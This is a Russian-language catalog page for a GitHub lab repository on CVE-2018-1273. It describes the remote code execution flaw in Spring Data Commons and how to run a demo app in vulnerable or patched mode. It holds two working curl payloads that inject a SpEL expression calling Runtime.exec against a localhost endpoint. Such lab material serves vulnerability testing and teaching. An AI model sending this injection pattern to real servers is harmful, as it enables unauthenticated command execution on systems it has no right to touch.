Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-1273 | Kitploit
Инструменты/GitHubGitHub/hdgokani/cve-2018-1273
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubhdgokani/cve-2018-1273

CVE-2018-1273

Репозиторий
8 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-1273

Spring Data Commons, версии до 1.13 до 1.13.10, от 2.0 до 2.0.5 и более старые неподдерживаемые версии, содержат уязвимость связывания свойств, вызванную неправильной нейтрализацией специальных элементов. Неаутентифицированный удаленный злоумышленник может передать специально созданные параметры запроса к HTTP-ресурсам на основе Spring Data REST или использовать привязку полезной нагрузки запроса на основе проекций Spring Data, что может привести к удаленному выполнению кода.

Подробнее здесь

Запуск

Приложение можно протестировать с уязвимой или исправленной версией Spring Data Commons.

  • Уязвимая версия (по умолчанию):
root@kitploit:~
mvn spring-boot:run
  • Исправленная версия:
root@kitploit:~
mvn spring-boot:run -Dfixed

Проверка уязвимости

Выполните следующую команду, чтобы проверить, можно ли эксплуатировать уязвимость:

  • На Windows:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

  • На macOS:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"

Авторы

Создано https://www.arima.eu

ARIMA Software Design

Скачать инструмент